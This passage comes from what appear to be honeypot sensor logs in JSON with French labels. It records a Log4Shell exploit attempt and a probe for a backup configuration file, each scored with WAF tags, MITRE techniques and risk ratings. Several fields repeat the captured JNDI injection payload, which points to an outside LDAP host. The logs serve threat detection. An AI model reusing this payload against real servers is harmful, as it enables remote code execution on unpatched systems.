\u0022classification_parent\u0022: \u0022log4shell_probe\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 95.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002231830b72806933f024068d193a675195\u0022, \u0022payload_hash\u0022: \u0022e36a67aa454cebfd61c1dce6eb501fe2\u0022, \u0022path_pattern_hash\u0022: \u00227e93fba0bc7adda858a2500090e639e4\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20639, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 100}, \u0022payload_preview\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:20639\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4\u0022, \u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/login\u0022, \u0022user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022jndi-0\u0022, \u0022nosqli-3\u0022, \u0022cache-poison-xfh\u0022, \u0022log4shell-jndi\u0022], \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:20639\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}\\r\\nX-Forwarded-For: ${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}\\r\\nX-Api-Version: ${jndi:ldap:\/\/192.1\u0022, \u0022payload_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:20639\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/login\u0022, \u0022user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022jndi-0\u0022, \u0022nosqli-3\u0022, \u0022cache-poison-xfh\u0022, \u0022log4shell-jndi\u0022], \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:20639\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}\\r\\nX-Forwarded-For: ${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}\\r\\nX-Api-Version: ${jndi:ldap:\/\/192.1\u0022, \u0022payload_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:20639\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre_techniques\u0022: [\u0022T1190\u0022, \u0022T1059\u0022], \u0022mitre\u0022: \u0022T1190\u0022, \u0022threat_family\u0022: [\u0022log4shell_probe\u0022], \u0022recommended_client_action\u0022: \u0022block\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022bccde14b3858e649c01f676bcac81444bd8148aa\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/login\u0022, \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}\u0022, \u0022port\u0022: 20639, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:20639\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4\u0022, \u0022attack_vector\u0022: \u0022log4j jndi \u00b7 via HTTP:20639 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/login\u0022, \u0022target_port_label\u0022: \u002220639 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 11 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 100\/100 (Critique) \u2014 MITRE T1190 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 100, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Exploitation\u0022, \u0022risk_score\u0022: 100, \u0022risk_label\u0022: \u0022Critique\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 20639, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022INT-http_log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022Http Log4J\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022recommended_action\u0022: \u0022block\u0022, \u0022recommended_action_label\u0022: \u0022Bloquer (recommand\u00e9)\u0022, \u0022mitre\u0022: \u0022T1190\u0022, \u0022mitre_technique\u0022: \u0022T1190\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/login\u0022, \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}\u0022, \u0022port\u0022: 20639, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022log4j jndi \u00b7 via HTTP:20639 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/login\u0022, \u0022evidence_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:20639\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4\u0022, \u0022target_port_label\u0022: \u002220639 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 11 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 11 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploitation\u0022, \u0022label_fr\u0022: \u0022Exploitation\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220639\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 17, \u0022scan_velocity_ports_per_s\u0022: 3.48, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022ban_policy\u0022: \u0022advisory_block\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022, \u0022http_credential_body\u0022, \u0022http_dns_rebinding\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022http_header_x-forwarded-host\u0022, \u0022http_host_mismatch\u0022, \u0022http_jndi\u0022, \u0022http_jwt_body\u0022, \u0022http_log4shell\u0022, \u0022http_probe_login\u0022, \u0022http_ssti\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:20639","http_user_agent":"${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}","http_referer":"${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}","tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022, \u0022http_credential_body\u0022, \u0022http_dns_rebinding\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022http_header_x-forwarded-host\u0022, \u0022http_host_mismatch\u0022, \u0022http_jndi\u0022, \u0022http_jwt_body\u0022, \u0022http_log4shell\u0022, \u0022http_probe_login\u0022, \u0022http_ssti\u0022, \u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":10,"bytes_in":623},{"id":7106409,"ip":"185.244.155.23","ts":"2026-10-23 11:45:49.000000","proto":"tcp","src_port":23387,"dst_port":31832,"service":"http","classification":"port_scan_syn","waf_score":21,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950521:leak-8\u0022]","http_method":"GET","http_target":"\/config.php.bak","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: \u0022bak\u0022, \u0022http_ua_hash\u0022: \u00225002ada1c05fac60ce2af638d5f54066641d121c\u0022, \u0022http_host_hash\u0022: \u00220991dad1e85d945fa26d249d6238901b89cb8349\u0022, \u0022http_target_hash\u0022: \u0022f4e5344862db3f007de9149164d79b088f516034\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 183, \u0022payload_entropy\u0022: 5.240677569590536, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 31832, \u0022risk_waf\u0022: 92.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 6.6, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 92.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 59, \u0022tag_count\u0022: 7, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022e178cfd2acb7435ea5ce9de92b9f7be82b533ecf\u0022, \u0022event_fingerprint\u0022: \u0022a26d5dad06bc09ca57badf3285afb6d89696e4bc\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 92.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 59, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002263279522febcf5538b72996c16a8660f\u0022, \u0022payload_hash\u0022: \u00227156d85ff6f3cbd78e4a34ce4a4fb143\u0022, \u0022path_pattern_hash\u0022: \u0022456c6182b7d24690c48a4170c38e6d4b\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 31832, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 59}, \u0022payload_preview\u0022: \u0022GET \/config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/config.php.bak\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950521:leak-8\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022leak-8\u0022], \u0022request_line\u0022: \u0022GET \/config.php.bak HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/config.php.bak\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950521:leak-8\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022leak-8\u0022], \u0022request_line\u0022: \u0022GET \/config.php.bak HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022fdbdb9c0e89a0c5b8d4278df8c9c8b9e11e912cd\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/config.php.bak\u0022, \u0022request_line\u0022: \u0022GET \/config.php.bak HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 31832, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:31832 \u00b7 (reconnaissance) \u00b7 \u2192 \/config.php.bak\u0022, \u0022target_port_label\u0022: \u002231832 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 59\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 92.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 59, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 59, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 31832, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/config.php.bak\u0022, \u0022request_line\u0022: \u0022GET \/config.php.bak HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 31832, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:31832 \u00b7 (reconnaissance) \u00b7 \u2192 \/config.php.bak\u0022, \u0022evidence_snippet\u0022: \u0022GET \/config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)\u0022, \u0022target_port_label\u0022: \u002231832 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 92 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002231832\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 17, \u0022scan_velocity_ports_per_s\u0022: 3.49, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, 